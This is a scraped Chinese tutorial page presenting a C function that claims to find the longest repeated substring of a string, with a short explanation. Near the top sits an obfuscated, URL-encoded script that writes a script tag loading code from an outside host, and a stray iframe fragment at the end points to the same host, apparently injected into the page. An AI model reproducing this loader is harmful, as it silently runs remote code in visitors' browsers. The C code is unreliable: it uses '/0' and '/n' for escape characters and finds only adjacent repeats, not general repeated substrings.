HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
在字符串中查找最长重复子串的探讨
写一个函数,找出一个字符串中最长的重复子串。“t1t1”结果就是t1."cabcabca"结果就是cab或者abc或者bca。
#include <stdio.h>
#define BUF_MAX 1000
int index; //子串起始位置
int len;//子串长度
void str_search(const char *str)
{
int i=0;
while(str[i]!='/0') ++i;
int strlen=i;
for(i=strlen/2;i>0;--i)
{
int zeronum=0;
for(int j=i;j<strlen;++j)
{
if (str[j]==str[j-i])
{
++zeronum;
if (zeronum==i)
{
index=j-2*i+1;
len=i;
return;
}
}
else
{
zeronum=0;
}
}
}
}
int main()
{
char str[BUF_MAX];
scanf("%s",str);
str_search(str);
printf("%d:%d/n",index,len);
}
说明:
假设str中有长度为m的连续子串,
则字符串移动m个位置后,与原串
s0 s1 s2 s3 ... sm-1 sm sm+1 sm+2 ..... sn
s0 s1 s2 .............sn
一定有连续m个位置的字符是相等的;
如果有多个解,只返回第一个;
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">